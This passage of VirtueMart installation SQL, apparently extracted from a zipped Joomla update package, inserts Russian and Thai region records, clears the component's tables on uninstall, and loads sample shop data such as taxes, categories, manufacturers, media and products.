00:00:00', 0), (597, 1, 176, 0, 'Кемеровская область', 'KEM', '42', 28, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (598, 1, 176, 0, 'Кировская область', 'KIR', '43', 29, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (599, 1, 176, 0, 'Коми Республика', 'KO', '11', 30, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (600, 1, 176, 0, 'Костромская область', 'KOS', '44', 31, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (601, 1, 176, 0, 'Краснодарский край', 'KDA', '23', 32, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (602, 1, 176, 0, 'Красноярский край', 'KIA', '24', 33, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (603, 1, 176, 0, 'Курганская область', 'KGN', '45', 34, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (604, 1, 176, 0, 'Курская область', 'KRS', '46', 35, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (605, 1, 176, 0, 'Ленинградская область', 'LEN', '47', 36, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (606, 1, 176, 0, 'Липецкая область', 'LIP', '48', 37, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (607, 1, 176, 0, 'Магаданская область', 'MAG', '49', 38, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (608, 1, 176, 0, 'Марий Эл Республика', 'ME', '12', 39, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (609, 1, 176, 0, 'Мордовия Республика', 'MO', '13', 40, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (610, 1, 176, 0, 'Москва', 'MOW', '77', 41, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (611, 1, 176, 0, 'Московская область', 'MOS', '50', 42, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (612, 1, 176, 0, 'Мурманская область', 'MUR', '51', 43, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (613, 1, 176, 0, 'Ненецкий автономный округ', 'NEN', '83', 44, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (614, 1, 176, 0, 'Нижегородская область', 'NIZ', '52', 45, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (615, 1, 176, 0, 'Новгородская область', 'NGR', '53', 46, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (616, 1, 176, 0, 'Новосибирская область', 'NVS', '54', 47, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (617, 1, 176, 0, 'Омская область', 'OMS', '55', 48, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (618, 1, 176, 0, 'Оренбургская область', 'ORE', '56', 49, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (619, 1, 176, 0, 'Орловская область', 'ORL', '57', 50, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (620, 1, 176, 0, 'Пензенская область', 'PNZ', '58', 51, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (621, 1, 176, 0, 'Пермский край', 'PER', '59', 52, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (622, 1, 176, 0, 'Приморский край', 'PRI', '25', 53, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (623, 1, 176, 0, 'Псковская область', 'PSK', '60', 54, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (624, 1, 176, 0, 'Ростовская область', 'ROS', '61', 55, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (625, 1, 176, 0, 'Рязанская область', 'RYA', '62', 56, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (626, 1, 176, 0, 'Самарская область', 'SAM', '63', 57, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (627, 1, 176, 0, 'Санкт-Петербург', 'SPE', '78', 58, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (628, 1, 176, 0, 'Саратовская область', 'SAR', '64', 59, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (629, 1, 176, 0, 'Саха (Якутия) Республика', 'SA', '14', 60, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (630, 1, 176, 0, 'Сахалинская область', 'SAK', '65', 61, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (631, 1, 176, 0, 'Свердловская область', 'SVE', '66', 62, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (632, 1, 176, 0, 'Северная Осетия-Алания Республика', 'SE', '15', 63, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (633, 1, 176, 0, 'Смоленская область', 'SMO', '67', 64, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (634, 1, 176, 0, 'Ставропольский край', 'STA', '26', 65, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (635, 1, 176, 0, 'Тамбовская область', 'TAM', '68', 66, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (636, 1, 176, 0, 'Татарстан Республика', 'TA', '16', 67, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (637, 1, 176, 0, 'Тверская область', 'TVE', '69', 68, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (638, 1, 176, 0, 'Томская область', 'TOM', '70', 69, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (639, 1, 176, 0, 'Тульская область', 'TUL', '71', 70, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (640, 1, 176, 0, 'Тыва Республика', 'TY', '17', 71, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (641, 1, 176, 0, 'Тюменская область', 'TYU', '72', 72, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (642, 1, 176, 0, 'Удмуртская Республика', 'UD', '18', 73, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (643, 1, 176, 0, 'Ульяновская область', 'ULY', '73', 74, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (644, 1, 176, 0, 'Хакасия Республика', 'KK', '19', 75, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (645, 1, 176, 0, 'Челябинская область', 'CHE', '74', 76, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (646, 1, 176, 0, 'Чеченская Республика', 'CE', '20', 77, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (647, 1, 176, 0, 'Чувашская Республика', 'CU', '21', 78, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (648, 1, 176, 0, 'Чукотский автономный округ', 'CHU', '87', 79, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (649, 1, 176, 0, 'Хабаровский край', 'KHA', '27', 80, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (650, 1, 176, 0, 'Ханты-Мансийский автономный округ', 'KHM', '86', 81, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (651, 1, 176, 0, 'Ямало-Ненецкий автономный округ', 'YAN', '89', 82, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (652, 1, 176, 0, 'Ярославская область', 'YAR', '76', 83, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0); -- By : Khemakorn Chaiyapruck from Thailand INSERT INTO `#__virtuemart_states` (`virtuemart_state_id`, `virtuemart_vendor_id`, `virtuemart_country_id`, `state_name`, `state_3_code`, `state_2_code`, `published`) VALUES (653, 1, 209, 'กระบี่', 'กบ', 'กบ', 1), (654, 1, 209, 'กรุงเทพมหานคร', 'กทม', 'กท', 1), (655, 1, 209, 'กาญจนบุรี', 'กจ', 'กจ', 1), (656, 1, 209, 'กาฬสินธุ์', 'กส', 'กส', 1), (657, 1, 209, 'กำแพงเพชร', 'กพ', 'กพ', 1), (658, 1, 209, 'ขอนแก่น', 'ขก', 'ขก', 1), (659, 1, 209, 'จันทบุรี ', 'จบ', 'จบ', 1), (660, 1, 209, 'ฉะเชิงเทรา', 'ฉช', 'ฉช', 1), (661, 1, 209, 'ชลบุรี ', 'ชบ', 'ชบ', 1), (662, 1, 209, 'ชัยนาท', 'ชน', 'ชน', 1), (663, 1, 209, 'ชัยภูมิ', 'ชย', 'ชย', 1), (664, 1, 209, 'ชุมพร', 'ชพ', 'ชพ', 1), (665, 1, 209, 'เชียงราย', 'ชร', 'ชร', 1), (666, 1, 209, 'เชียงใหม่', 'ชม', 'ชม', 1), (667, 1, 209, 'ตรัง', 'ตง', 'ตง', 1), (668, 1, 209, 'ตราด', 'ตร', 'ตร', 1), (669, 1, 209, 'ตาก', 'ตก', 'ตก', 1), (670, 1, 209, 'นครนายก', 'นย', 'นย', 1), (671, 1, 209, 'นครปฐม', 'นฐ', 'นฐ', 1), (672, 1, 209, 'นครพนม', 'นพ', 'นพ', 1), (673, 1, 209, 'นครราชสีมา', 'นม', 'นม', 1), (674, 1, 209, 'นครศรีธรรมราช', 'นศ', 'นศ', 1), (675, 1, 209, 'นครสวรรค์', 'นว', 'นว', 1), (676, 1, 209, 'นนทบุรี ', 'นบ', 'นบ', 1), (677, 1, 209, 'นราธิวาส', 'นธ', 'นธ', 1), (678, 1, 209, 'น่าน', 'นน', 'นน', 1), (679, 1, 209, 'บุรีรัมย์', 'บร', 'บร', 1), (680, 1, 209, 'บึงกาฬ', 'บก', 'บก', 1), (681, 1, 209, 'ปทุมธานี', 'ปท', 'ปท', 1), (682, 1, 209, 'ประจวบคีรีขันธ์', 'ปข', 'ปข', 1), (683, 1, 209, 'ปราจีนบุรี', 'ปจ', 'ปจ', 1), (684, 1, 209, 'ปัตตานี', 'ปน', 'ปน', 1), (685, 1, 209, 'พระนครศรีอยุธยา', 'อย', 'อย', 1), (686, 1, 209, 'พังงา ', 'พง', 'พง', 1), (687, 1, 209, 'พัทลุง', 'พท', 'พท', 1), (688, 1, 209, 'พิจิตร', 'พจ', 'พจ', 1), (689, 1, 209, 'พิษณุโลก', 'พล', 'พล', 1), (690, 1, 209, 'เพชรบุรี', 'พบ', 'พบ', 1), (691, 1, 209, 'เพชรบูรณ์ ', 'พช', 'พช', 1), (692, 1, 209, 'แพร่ ', 'พร', 'พร', 1), (693, 1, 209, 'พะเยา', 'พย', 'พย', 1), (694, 1, 209, 'ภูเก็ต', 'ภก', 'ภก', 1), (695, 1, 209, 'มหาสารคาม', 'มค', 'มค', 1), (696, 1, 209, 'แม่ฮ่องสอน', 'มส', 'มส', 1), (697, 1, 209, 'มุกดาหาร', 'มห', 'มห', 1), (698, 1, 209, 'ยะลา', 'ยล', 'ยล', 1), (699, 1, 209, 'ยโสธร', 'ยส', 'ยส', 1), (700, 1, 209, 'ร้อยเอ็ด', 'รอ', 'รอ', 1), (701, 1, 209, 'ระนอง', 'รน', 'รน', 1), (702, 1, 209, 'ระยอง', 'รย', 'รย', 1), (703, 1, 209, 'ราชบุรี', 'รบ', 'รบ', 1), (704, 1, 209, 'ลพบุรี', 'ลบ', 'ลบ', 1), (705, 1, 209, 'ลำปาง', 'ลป', 'ลป', 1), (706, 1, 209, 'ลำพูน', 'ลพ', 'ลพ', 1), (707, 1, 209, 'เลย', 'ลย', 'ลย', 1), (708, 1, 209, 'ศรีสะเกษ', 'ศก', 'ศก', 1), (709, 1, 209, 'สกลนคร', 'สน', 'สน', 1), (710, 1, 209, 'สงขลา', 'สข', 'สข', 1), (711, 1, 209, 'สตูล', 'สต', 'สต', 1), (712, 1, 209, 'สมุทรปราการ', 'สป', 'สป', 1), (713, 1, 209, 'สมุทรสงคราม', 'สส', 'สส', 1), (714, 1, 209, 'สมุทรสาคร', 'สค', 'สค', 1), (715, 1, 209, 'สระบุรี', 'สบ', 'สบ', 1), (716, 1, 209, 'สระแก้ว', 'สก', 'สก', 1), (717, 1, 209, 'สิงห์บุรี ', 'สห', 'สห', 1), (718, 1, 209, 'สุโขทัย', 'สท', 'สท', 1), (719, 1, 209, 'สุพรรณบุรี', 'สพ', 'สพ', 1), (720, 1, 209, 'สุราษฎร์ธานี', 'สฎ', 'สฎ', 1), (721, 1, 209, 'สุรินทร์', 'สร', 'สร', 1), (722, 1, 209, 'หนองคาย', 'นค', 'นค', 1), (723, 1, 209, 'หนองบัวลำภู', 'นภ', 'นภ', 1), (724, 1, 209, 'อ่างทอง', 'อท', 'อท', 1), (725, 1, 209, 'อุดรธานี', 'อด', 'อด', 1), (726, 1, 209, 'อุตรดิตถ์', 'อต', 'อต', 1), (727, 1, 209, 'อุทัยธานี', 'อน', 'อน', 1), (728, 1, 209, 'อุบลราชธานี', 'อบ', 'อบ', 1), (729, 1, 209, 'อำนาจเจริญ', 'อจ', 'อจ', 1); PKsl>\+bcom_virtuemart_update/administrator/components/com_virtuemart/install/uninstall_essential_data.sqlnuW+A-- Remove all essential data DELETE FROM `#__virtuemart_configs`; DELETE FROM `#__virtuemart_adminmenuentries`; DELETE FROM `#__virtuemart_modules`; DELETE FROM `#__virtuemart_orderstates`; DELETE FROM `#__virtuemart_userfields`; DELETE FROM `#__virtuemart_userfield_values`;PKsl>\ZdZ Z ]com_virtuemart_update/administrator/components/com_virtuemart/install/install_sample_data.sqlnuW+AINSERT IGNORE INTO `#__virtuemart_calcs` (`virtuemart_calc_id`, `virtuemart_vendor_id`, `calc_jplugin_id`, `calc_name`, `calc_descr`, `calc_kind`, `calc_value_mathop`, `calc_value`, `calc_currency`, `calc_shopper_published`, `calc_vendor_published`, `for_override`, `calc_params`, `ordering`, `shared`, `published`) VALUES (1, 1, 0, 'Tax 20%', '', 'VatTax', '+%', 20.0000, 47, 0, 0, 0, '', 0, 0, 1), (2, 1, 0, 'Discount 5%', '', 'DATax', '-%', 5.0000, 47, 0, 0, 0, '', 0, 0, 1), (3, 1, 0, 'Special tax for category pagination 10%, an example for rule per category to show multitax store function', '', 'VatTax', '+%', 10.0000, 47, 0, 0, 0, '', 0, 0, 1); INSERT IGNORE INTO `#__virtuemart_calc_categories` (`id`, `virtuemart_calc_id`, `virtuemart_category_id`) VALUES (1, 3, 3); INSERT IGNORE INTO `#__virtuemart_categories` (`virtuemart_category_id`, `virtuemart_vendor_id`, `category_template`, `category_layout`, `category_product_layout`, `products_per_row`, `limit_list_step`, `limit_list_initial`, `hits`, `metarobot`, `metaauthor`, `ordering`, `shared`, `published`) VALUES (1, 1, '0', '0', '0', 0, '0', 0, 0, '', '', 1, 0, 1), (2, 1, '0', '0', '0', 0, '0', 0, 0, '', '', 2, 0, 1), (3, 1, '0', '0', '0', 0, '0', 0, 0, '', '', 3, 0, 1), (4, 1, '0', '0', '0', 0, '0', 0, 0, '', '', 4, 0, 1), (5, 1, '0', '0', '0', 0, '0', 0, 0, '', '', 1, 0, 1), (6, 1, '0', '0', '0', 0, '0', 0, 0, '', '', 2, 0, 1), (7, 1, '0', '0', '0', 0, '0', 0, 0, '', '', 5, 0, 1), (8, 1, '0', '0', '0', 0, '0', 0, 0, '', '', 1, 0, 1), (9, 1, '0', '0', '0', 0, '0', 0, 0, '', '', 1, 0, 1); INSERT IGNORE INTO `#__virtuemart_categories_XLANG` (`virtuemart_category_id`, `category_name`, `category_description`, `metadesc`, `metakey`, `customtitle`, `slug`) VALUES (1, 'Default Products', '

Sample of several default products. You will find settings displayed.

', '', '', '', 'default-products'), (2, 'Default Pattern', '

Example for usage of product pattern. For showcase reason the PATTERN is NOT unpublished.

', '', '', '', 'default-pattern'), (3, 'Pagination testarea', '

Notice: for correct ordering in product view set valid ordering in BE.
Ordering showcase category. Use this category to test the ordering of products. You can also select several Manufacturer.

', '', '', '', 'pagination-testarea'), (4, 'Headgear', '

Showcase for subcategory with several sample product.

', '', '', '', 'headgear'), (5, 'Hats', '

Example for usage of product pattern. For showcase reason the PATTERN is NOT unpublished.
Sample for product category. Create new category in VM BE > Product Categories > New

', '', '', '', 'hats'), (6, 'Caps', '

Example for usage of product pattern. For showcase reason the PATTERN is NOT unpublished.
Sample for product category. Create new category in VM BE > Product Categories > New

', '', '', '', 'caps'), (7, 'Clothes', '', '', '', '', 'clothes'), (8, 'Men clothes', '

Sample for Subcategory.
Select superordinated category in VM BE > Product Categories > Your Category in section Details > Category Ordering

', '', '', '', 'men-clothes'), (9, 'Women clothes', '

Sample for Subcategory.
Select superordinated category in VM BE > Product Categories > Your Category in section Details > Category Ordering

', '', '', '', 'women-clothes'); INSERT IGNORE INTO `#__virtuemart_category_categories` (`id`, `category_parent_id`, `category_child_id`, `ordering`) VALUES (1, 0, 1, 0), (2, 0, 2, 0), (3, 0, 3, 0), (4, 0, 4, 0), (5, 4, 5, 5), (6, 4, 6, 6), (7, 0, 7, 5), (8, 7, 8, 1), (9, 7, 9, 1); INSERT IGNORE INTO `#__virtuemart_category_medias` (`id`, `virtuemart_category_id`, `virtuemart_media_id`, `ordering`) VALUES (1, 1, 2, 1), (2, 2, 2, 1), (3, 3, 2, 1), (4, 4, 3, 1), (8, 7, 6, 1), (6, 6, 5, 1), (7, 5, 3, 1), (9, 8, 6, 1), (10, 9, 7, 1); INSERT IGNORE INTO `#__virtuemart_coupons` (`virtuemart_coupon_id`, `coupon_code`, `percent_or_total`, `coupon_type`, `coupon_value`, `coupon_start_date`, `coupon_expiry_date`, `coupon_value_valid`, `coupon_used`, `published`) VALUES (1, 'Sample Coupon', 'total', 'permanent', 0.01000, '0000-00-00 00:00:00', '2015-01-01 00:00:00', 0.00000, '0', 1); INSERT IGNORE INTO `#__virtuemart_customs` (`virtuemart_custom_id`, `custom_parent_id`, `virtuemart_vendor_id`, `custom_jplugin_id`, `custom_element`, `admin_only`, `custom_title`, `show_title`, `custom_tip`, `custom_value`, `custom_field_desc`, `field_type`, `is_list`, `is_hidden`, `is_cart_attribute`, `layout_pos`, `custom_params`, `shared`, `published`, `ordering`) VALUES (1, 0, 1, 0, '', 0, 'COM_VIRTUEMART_RELATED_PRODUCTS', 1, 'COM_VIRTUEMART_RELATED_PRODUCTS_TIP', '', 'COM_VIRTUEMART_RELATED_PRODUCTS_DESC', 'R', 0, 0, 0, NULL, NULL, 0, 1, 0), (2, 0, 1, 0, '', 0, 'COM_VIRTUEMART_RELATED_CATEGORIES', 1, 'COM_VIRTUEMART_RELATED_CATEGORIES_TIP', NULL, 'COM_VIRTUEMART_RELATED_CATEGORIES_DESC', 'Z', 0, 0, 0, NULL, NULL, 0, 1, 0), (3, 0, 1, 0, '0', 0, 'Customfield String', 1, '', '', '', 'S', 0, 0, 0, '', '0', 0, 1, 0), (4, 0, 1, 0, '0', 0, 'Customfield Textarea', 1, '', '', '', 'Y', 0, 0, 0, '', '0', 0, 1, 0), (5, 0, 1, 0, '0', 0, 'Customfield Parent', 1, '', '', '', 'P', 0, 0, 0, '', '0', 0, 1, 0), (6, 5, 1, 0, '0', 0, 'Customfield Child String 1', 1, '', '', '', 'S', 0, 0, 0, '', '0', 0, 1, 0), (7, 5, 1, 0, '0', 0, 'Customfield Child String 2', 1, '', '', '', 'S', 0, 0, 0, '', '0', 0, 1, 0), (8, 5, 1, 0, '0', 0, 'Customfield Textarea Child', 1, '', '', '', 'Y', 0, 0, 0, '', '0', 0, 1, 0), (9, 0, 1, 0, '0', 0, 'Customfield Cart Variant', 1, '', '', '', 'V', 0, 0, 1, '', '0', 0, 1, 0), (10, 0, 1, 0, '0', 0, 'Customfield Child Variant', 1, '', '', '', 'A', 0, 0, 1, '', '0', 0, 1, 0), (11, 0, 1, 0, '0', 0, 'Caps Customfield Parent', 1, '', '', '', 'P', 0, 0, 0, '', '0', 0, 1, 0), (12, 0, 1, 0, '0', 0, 'Cap Size', 1, '', '', '', 'V', 0, 0, 1, '', '0', 0, 1, 0), (13, 11, 1, 0, '0', 0, 'Cap Details', 1, '', '', '', 'S', 0, 0, 0, '', '0', 0, 1, 0), (14, 11, 1, 0, '0', 0, 'Cap Components', 1, '', '', '', 'S', 0, 0, 0, '', '0', 0, 1, 0), (15, 0, 1, 0, '0', 0, 'Clothing weave', 1, '', '', '', 'V', 0, 0, 1, '', '0', 0, 1, 0), (16, 0, 1, 0, '0', 0, 'Clothing size', 1, '', '', '', 'V', 0, 0, 1, '', '0', 0, 1, 0), (17, 0, 1, 0, '0', 0, 'Clothing parent', 1, '', '', '', 'P', 0, 0, 0, '', '0', 0, 1, 0), (18, 17, 1, 0, '0', 0, 'Clothing Composit', 1, '', '', '', 'S', 0, 0, 0, '', '0', 0, 1, 0), (19, 17, 1, 0, '0', 0, 'Clothing textarea', 1, '', '', '', 'Y', 0, 0, 0, '', '0', 0, 1, 0); INSERT IGNORE INTO `#__virtuemart_manufacturercategories` (`virtuemart_manufacturercategories_id`, `published`) VALUES (1, 1); INSERT IGNORE INTO `#__virtuemart_manufacturercategories_XLANG` (`virtuemart_manufacturercategories_id`, `mf_category_name`, `mf_category_desc`, `slug`) VALUES (1, 'default', 'This is the default manufacturer category ', 'default'); INSERT IGNORE INTO `#__virtuemart_manufacturers` (`virtuemart_manufacturer_id`, `virtuemart_manufacturercategories_id`, `hits`, `published`) VALUES (1, 1, 0, 1), (2, 1, 0, 1), (3, 1, 0, 1); INSERT IGNORE INTO `#__virtuemart_manufacturers_XLANG` (`virtuemart_manufacturer_id`, `mf_name`, `mf_email`, `mf_desc`, `mf_url`, `slug`) VALUES (1, 'Manufacturer', 'manufacturer@example.org', '

An example for a manufacturer

', 'http://www.example.org', 'manufacturer'), (2, 'Default', 'example@manufacturer.net', '

Default manufacturer

', 'example.manufacturer.net', 'default'), (3, 'Producer', 'info@producer.com', '

An example for another manufacturer.

', 'producer.com', 'producer'); INSERT IGNORE INTO `#__virtuemart_manufacturer_medias` (`id`, `virtuemart_manufacturer_id`, `virtuemart_media_id`, `ordering`) VALUES (1, 1, 9, 1), (2, 2, 9, 1), (3, 3, 9, 1); INSERT IGNORE INTO `#__virtuemart_medias` (`virtuemart_media_id`, `virtuemart_vendor_id`, `file_title`, `file_description`, `file_meta`, `file_mimetype`, `file_type`, `file_url`, `file_url_thumb`, `file_is_product_image`, `file_is_downloadable`, `file_is_forSale`, `file_params`, `file_lang`, `shared`, `published`) VALUES (1, 1, 'vendor.gif', '', '', 'image/gif', 'vendor', 'images/stories/virtuemart/vendor/vendor.gif', '', 0, 0, 0, '', '', 0, 1), (2, 1, 'student_hat_16.jpg', '', '', 'image/jpeg', 'category', 'images/stories/virtuemart/category/student_hat_16.jpg', '', 0, 0, 0, '', '', 0, 1), (3, 1, 'hat_category8.jpg', '', '', 'image/jpeg', 'category', 'images/stories/virtuemart/category/hat_category8.jpg', '', 0, 0, 0, '', '', 0, 1), (5, 1, 'cap6.jpg', '', '', 'image/jpeg', 'category', 'images/stories/virtuemart/category/cap6.jpg', '', 0, 0, 0, '', '', 0, 1), (6, 1, 'jacket_classic7.jpg', '', '', 'image/jpeg', 'category', 'images/stories/virtuemart/category/jacket_classic7.jpg', '', 0, 0, 0, '', '', 0, 1), (7, 1, 'black_dress_2.jpg', '', '', 'image/jpeg', 'category', 'images/stories/virtuemart/category/black_dress_2.jpg', '', 0, 0, 0, '', '', 0, 1), (8, 1, 'cart_logo.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/cart_logo.jpg', '', 0, 0, 0, '', '', 0, 1), (9, 1, 'manufacturer.jpg', '', '', 'image/jpeg', 'manufacturer', 'images/stories/virtuemart/manufacturer/manufacturer.jpg', '', 0, 0, 0, '', '', 0, 1), (10, 1, 'classic_hat.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/classic_hat.jpg', '', 0, 0, 0, '', '', 0, 1), (11, 1, 'cowboy_hat.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/cowboy_hat.jpg', '', 0, 0, 0, '', '', 0, 1), (12, 1, 'derbyhat.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/derbyhat.jpg', '', 0, 0, 0, '', '', 0, 1), (13, 1, 'santa_cap.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/santa_cap.jpg', '', 0, 0, 0, '', '', 0, 1), (14, 1, 'baseballcap.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/baseballcap.jpg', '', 0, 0, 0, '', '', 0, 1), (15, 1, 'marinecap.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/marinecap.jpg', '', 0, 0, 0, '', '', 0, 1), (16, 1, 'jumper.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/jumper.jpg', '', 0, 0, 0, '', '', 0, 1), (17, 1, 'wide_dress_2.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/wide_dress_2.jpg', '', 0, 0, 0, '', '', 0, 1), (18, 1, 'jacket_classic.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/jacket_classic.jpg', '', 0, 0, 0, '', '', 0, 1), (19, 1, 'poncho.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/poncho.jpg', '', 0, 0, 0, '', '', 0, 1), (20, 1, 'dress.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/dress.jpg', '', 0, 0, 0, '', '', 0, 1); INSERT IGNORE INTO `#__virtuemart_products` (`virtuemart_product_id`, `virtuemart_vendor_id`, `product_parent_id`, `product_sku`, `product_weight`, `product_weight_uom`, `product_length`, `product_width`, `product_height`, `product_lwh_uom`, `product_url`, `product_in_stock`, `product_ordered`, `low_stock_notification`, `product_available_date`, `product_availability`, `product_special`, `product_sales`, `product_unit`, `product_packaging`, `product_params`, `hits`, `intnotes`, `metarobot`, `metaauthor`, `layout`, `published`, `pordering`, `created_on`, `created_by`, `modified_on`, `modified_by`) VALUES (1, 1, 0, '', 50.0000, 'KG', 45.0000, 5.0000, 5.0000, 'M', '', 78, 0, 5, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (2, 1, 0, '', 15.0000, 'KG', 10.0000, 25.0000, 10.0000, 'M', '', 10, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', 0.1000, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (3, 1, 0, '', 0.1000, 'KG', 0.0100, 0.0100, 0.0300, 'M', '', 55, 0, 10, '0000-00-00 00:00:00', '', 0, 0, 'KG', 1.0000, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (4, 1, 0, '', 1.0000, 'KG', 0.2000, 0.1000, 0.3000, 'M', '', 100, 0, 5, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', 